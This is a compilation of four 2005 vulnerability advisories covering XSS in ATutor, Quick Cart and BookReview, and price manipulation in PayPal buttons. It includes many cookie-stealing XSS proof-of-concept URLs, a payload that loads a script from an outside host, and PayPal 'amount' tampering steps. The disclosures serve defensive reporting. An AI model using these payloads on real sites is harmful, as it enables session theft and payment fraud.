ATutor multiple variable Cross site scripting

################################################
ATutor multiple variable Cross site scripting
vendor url:http://www.atutor.ca/atutor/download.php
ADVISORE:http://lostmon.blogspot.com/2005/06/
atutor-multiple-variable-cross-site.html
VENDOR NOTIFY: YES EXPLOIT AVAILABLE: YES
OSVDB ID:17351,17352,17353,17354,17355
17356,17357,17358,17359.
Secunia: SA15705
Securitytracker: 1014216
BID: 13972
################################################

ATutor is an Open Source Web-based Learning Content
Management System (LCMS) designed with accessibility
and adaptability in mind.

ATutor contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application
does not validate multiple variables upon submission
to multiple scripts. script.This could allow a user to
create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust
relationship between the browser and the server,
leading to a loss of integrity.


###########
versions:
###########

ATutor 1.4.3 vulnerable
ATutor 1.5 RC 1 vulnerable
ATutor 1.5 RC 2 vulnerable
Atutor 1.5 RC 3 not tested

#############
solution
#############

Upgrade to version ATutor 1.5RC3 or higher, as it has been
reported to fix this vulnerability. An upgrade is required
as there are no known workarounds.


##############
timeline
##############

discovered: 10-06-2005
vendor notify: 14-06-2005 (webform)
vendor response: 27-06-2005
disclosure: 16-06-2005


##################
Proof of concepts
##################

http://[VICTIM]/ATutor/browse.php?cat=0&show_course=1[XSS-CODE]

http://[VICTIM]/ATutor/contact.php?subject=[XSS-CODE]

http://[VICTIM]/atutor/content.php?cid=323[XSS-CODE]

http://[VICTIM]/atutor/inbox/send_message.php?l=1[XSS-CODE]

http://[VICTIM]/atutor/search.php?search=10[XSS-CODE]
&words=kk&include=all&find_in=this&display_as=pages
&search=Search

http://[VICTIM]/ATutor/search.php?search=1&words=aa[XSS-CODE]
&include=one&find_in=all&display_as=summaries&search=Search
#search_results

http://[VICTIM]/ATutor/search.php?search=1&words=aa
&include=one[XSS-CODE]&find_in=all&display_as=
summaries&search=Search#search_results

http://[VICTIM]/ATutor/search.php?search=1&words=aa
&include=one&find_in=all[XSS-CODE]&display_as=
summaries&search=Search#search_results

http://[VICTIM]/ATutor/search.php?search=1&words=aa
&include=one&find_in=all&display_as=[XSS-CODE]
summaries&search=Search#search_results

http://[VICTIM]/ATutor/search.php?search=1&words=aa
&include=one&find_in=all&display_as=summaries&search
=[XSS-CODE]Search#search_results

http://[VICTIM]/ATutor/inbox/index.php?view=1[XSS-CODE]

http://[VICTIM]/ATutor/tile.php?query=yy
&field=technicalFormat&submit=Search[XSS-CODE]

http://[VICTIM]/ATutor/tile.php?query=[XSS-CODE]
&field=technicalFormat&submit=Search

http://[VICTIM]/ATutor/tile.php?query=yy&
field=technicalFormat[XSS-CODE]&submit=Search

http://[VICTIM]/ATutor/forum/subscribe_forum.php?
fid=2&us=1[XSS-CODE]

http://[VICTIM]/ATutor/directory.php?roles%5B%5D=[XSS-CODE]
1&roles%5B%5D=2&roles%5B%5D=3&status=1&submit=Filter

http://[VICTIM]/ATutor/directory.php?roles%5B%5D=1&roles%5
B%5D=[XSS-CODE]2&roles%5B%5D=3&status=1&submit=Filter

http://[VICTIM]/ATutor/directory.php?roles%5B%5D=1&roles%5B
%5D=2&roles%5B%5D=3[XSS-CODE]&status=1&submit=Filter

http://[VICTIM]/ATutor/directory.php?roles%5B%5D=1&roles%5B
%5D=2&roles%5B%5D=3&status=1[XSS-CODE]&submit=Filter

http://[VICTIM]/ATutor/directory.php?roles%5B%5D=1&roles%5B
%5D=2&roles%5B%5D=3&status=1&submit=Filter[XSS-CODE]

http://[VICTIM]/ATutor/directory.php?roles%5B%5D=1&status=
2&reset_filter=Reset+Filter[XSS-CODE]

http://[VICTIM]/ATutor/directory.php?roles[]=1[XSS-CODE]

for exploting some flaws , need a client login.
Others scripts and others variables are vulnerable
to the same style attack.


############### €nd ##############

Thnx to estrella to be my ligth
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....

PayPal arbitrary price manipulation

##############################################
PayPal 'butons' price manipulation.
vendor url:https://www.paypal.com/
http://lostmon.blogspot.com/2005/05/
paypal-arbitrary-price-manipulation.html
vendor notify: yes exploit available: yes
Discovered by FalconDeOro(1) and Lostmon(2)
##############################################

PayPal buttons are prone to price manipulation.
all stores based on PayPal buttons are posible
vulnerables to this flaw.


##########################
code example of a button
##########################
the proof is based on this form:

https://www.paypal.com/us/cgi-bin/webscr?cmd=p/xcl/rec/options-help-outside

in the exmple of explotation we used "PayPal price manipulation kit " program to shop.
This is Non existent product...

the link of the button for shopping have this url:
(1)
https://www.paypal.com/cgi-bin/webscr?cmd=_xclick
&business=[EMAIL-Bussines]&item_name=PayPal+price+manipulation+ kit&item_number=1&amount=19.90&no_shipping=1&return
=[SITE SUBMIT]&cancel_return=[SITE RETURN]&submit.x=70&submit.y=15


this is the normal price for the product (19.90$) but...
if we change 'amount' variable to 0.01 the product now cost 0.01$

https://www.paypal.com/cgi-bin/webscr?cmd=_xclick
&business=[EMAIL-Bussines]&item_name=PayPal+price+manipulation+ kit&item_number=1&amount=0.01&no_shipping=1&return
=[SITE SUBMIT]&cancel_return=[SITE RETURN]&submit.x=70&submit.y=15

another way to exploiting this situation:

(2)
this other example coming from a stored based on paypal:

https://www.paypal.com/cart/add=1&business=[EMAIL-Bussines]
&item_name=PayPal+price+manipulation+ kit&item_number=
7&return=[SITE SUBMIT]&cancel_return=[SITE RETURN]&amount=[PRICE]&shipping=0
&shipping2=0&handling=0&rm=2&custom=1¤cy_code=USD

if we look we can change not only the price , we can change the email account
name of product, and other details.
for shopping you need an account on PayPal.

#############
timeline:
#############

discovered: 14 may 2005
vendor notify: 25 may 2005
Vendor response: 26 may 2005
disclosure: 27 may 2005
Public disclosure: 30 may 2005


################### End ####################

thnx to estrella to be my ligth
thnx to icaro he is my support
Thnx to FalconDeOro ... patience.
thnx to all http://www.osvdb.org Team
thnx to all who day after day support me !!!

contact to FalconDeOro
(falcondeoro@gmail.com)
http://falcondeoro.blogspot.com

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangler of: http://www.osvdb.org
--
La curiosidad es lo que hace mover la mente

Quick Cart Search field cross site scripting and script insercion

#####################################################
Quick Cart Search field cross site scripting and script insercion
vendor url:http://www.quickcart.com/
advisore:http://lostmon.blogspot.com/2005/05/
quick-cart-search-field-cross-site.html
vendor notify: yes exploit available: yes
Securitytracker:1014076
#####################################################

Quick Cart contains a flaw that allows a remote cross
site scripting attack.This flaw exists because the
application does not validate the 'search' field upon
submission to 'search.cfm' script.This could allow a user
to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust
relationship between the browser and the server,
leading to a loss of integrity.


############
versions
############

free edition affected:
https://www.quickcart.com/qc_checkout.cfm


but is posible other versions ( standar or others) are afected


################
solution
################

no solution was available at this time

#############
Timeline
#############

discovered: 10 may 2005
vendor notify: 27 may 2005
vendor response: 27 may 2005
disclosure: 29 may 2005

##############
exploit
##############

put in the search box of the store:

//"><script>alert(document.cookie)</script>

or

//"><SCRIPT src="http://www.drorshalev.com/dev/injection/js.js"></script>

and the script is executing , this is a XSS flaw
and a posible script insercion


#################### €nd ###################

Thnx to http://www.drorshalev.com for this script
and for hosting it for this demostration.

thnx to estrella to be my ligth
thnx to all http://www.osvdb.org Team
thnx to all who day after day support me !!!
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangler of: http://www.osvdb.org
--
La curiosidad es lo que hace mover la mente

BookReview 1.0 multiple variable XSS

###################################################
BookReview 1.0 multiple variable XSS
vendor url:http://www.readersunite.com
advisore:http://lostmon.blogspot.com/2005/05/
bookreview-10-multiple-variable-xss.html
vendor notify: yes exploit available: yes
OSVDB ID:16871,16872,16873,16874,16875,16876,16877
16878,16879,16880,16881
BID:13783
Securitytracker: 1014058
###################################################

BookReview contains a flaw that allows a remote cross
site scripting attack.This flaw exists because the
application does not validate multiple variables upon
submission to multiple scripts.This could allow a user
to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust
relationship between the browser and the server,
leading to a loss of integrity.

############
versions:
############

BookReview beta 1.0 vulnerable.

##############
solution
##############

no solutions was available at this time

###########
timeline
###########

discovered: 27 april 2005
vendor notify 17 may 2005 (webform)
disclosure: 26 may 2005

##################
proof of concepts
###################

all files are submited to 'index.php' script by variable 'page' like
index.php?page=[NAME_OF_MODULE]&isbn=[NUMBER_OF_ISBN]
the name of module can be 'add_review' 'add_contents' or others

for example this url:
http://[victim]/index.php?page=add_contents
&isbn=083081423X&chapters=25

is the same of this :

http://[victim]/add_contents.htm?isbn=083081423X&chapters=25

whith this if you think we have two wais for exploiting this situation,
one whith the index.php and other directly by the module.

##################
add_review.htm
#################

http://[victim]/add_review.htm?isbn=0801052319&node=
%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true

http://[victim]/add_review.htm?isbn=0801052319
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script
%3E&node=Political_Science&review=true

http://[victim]/add_review.htm?isbn=0553278223&node=
"><script>alert(document.cookie)</script>&review=true

http://[victim]/add_review.htm?node=index&isbn=\"><script>alert(document.cookie)</script>

###################
index.php
###################

http://[victim]/index.php?page=add_contents&isbn=083081423X
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&chapters=25

http://[victim]/index.php?page=add_contents&isbn=083081423X
&chapters=25%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

NICE ERROR !!

; function tallyup() { var count = 0; var book = 0; var part = 0; var section = 0; var chapter = 0; var appendix = 0; var main_prefix = ""; var section_prefix = ""; for ( i=0; i var persian = '' + value; var roman=""; var ronumdashes=""; var buffer=10-persian.length; while (buffer>0) {persian="0"+persian;buffer--} var units=new Array("","I","II","III","IV","V","VI","VII","VIII","IX"); var tens=new Array("","X","XX","XXX","XL","L","LX","LXX","LXXX","XC"); var hundreds=new Array("","C","CC","CCC","CD","D","DC","DCC","DCCC","CM"); var thousands=new Array("","M","MM","MMM","MV","V","VM","VMM","VMMM","MX"); var billionsdashes=new Array("","=","==","===","==","=","==","===","====","=="); romandashes=billionsdashes[persian.substring(0,1)]; var hundredmillionsdashes=new Array("","=","==","===","==","=","==","===","====","=="); romandashes+=hundredmillionsdashes[persian.substring(1,2)]; var tenmillionsdashes=new Array("","=","==","===","==","=","==","===","====","=="); romandashes+=tenmillionsdashes[persian.substring(2,3)]; var millionsdashes=new Array("","_","__","___","_=","=","=_","=__","=___","_="); romandashes+=millionsdashes[persian.substring(3,4)]; var hundredthousandsdashes=new Array("","_","__","___","__","_","__","___","____","__"); romandashes+=hundredthousandsdashes[persian.substring(4,5)]; var tenthousandsdashes=new Array("","_","__","___","__","_","__","___","____","__"); romandashes+=tenthousandsdashes[persian.substring(5,6)]; var thousandsdashes=new Array("","","",""," _","_","_","_","_"," _"); romandashes+=thousandsdashes[persian.substring(6,7)]; roman=thousands[persian.substring(0,1)]; roman+=hundreds[persian.substring(1,2)]; roman+=tens[persian.substring(2,3)]; roman+=thousands[persian.substring(3,4)]; roman+=hundreds[persian.substring(4,5)]; roman+=tens[persian.substring(5,6)]; roman+=thousands[persian.substring(6,7)]; roman+=hundreds[persian.substring(7,8)]; roman+=tens[persian.substring(8,9)]; roman+=units[persian.substring(9,10)]; return roman; } function alphabetise(number) { return String.fromCharCode(64+number); } /// function submitconfirm() { var agree = document.getElementById('agree'); if ( !agree.checked ) { alert("You must indicate your agreement to the terms and conditions by checking the box provided."); return false; } return true; }

###################
add_contents.htm
###################


http://[victim]/add_contents.htm?isbn=083081423X
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/suggest_category.htm?node=Agriculture
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/contact.htm?user=admin
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/add_booklist.htm?node=Agriculture_and_Aqua
culture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


#########################
others.
#########################

http://[victim]/add_url.htm?node=
%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/search.htm?page=search&submit%5Bstring
%5D=%5C%22%3E%3Cscript%3Ealert%28document.cookie%29
%3C%2Fscript%3E&submit=Ok&submit%5Btype%5D=author

http://[victim]/add_classification.htm?isbn=0830815961
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Gospels

http://[victim]/suggest_review.htm?node=Business_and_Economics
"><script>alert(document.cookie)</script>

############################
posible local fle inclusion
############################

http://[victim]/suggestions/"><
script>alert(document.cookie)</script> .htm

http://[victim]/directory/">%3Cscript%3
Ealert(document.cookie)%3C/script%3E.htm



################
path disclosure:
################

http://[victim]/search.htm?page=search&submit%5Bstring%
5D=&submit=Ok&submit%5Btype%5D=auth
or

http://[victim]/search.htm?page=search&submit%5
Bstring%5D=&submit%5Btype%5D=title

######################## €nd ########################

thnx to estrella to be my ligth
Thnx to icaro he is my Shadow !!!
thnx to all http://www.osvdb.org Team
thnx to all who day after day support me !!!
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangler of: http://www.osvdb.org
--
La curiosidad es lo que hace mover la mente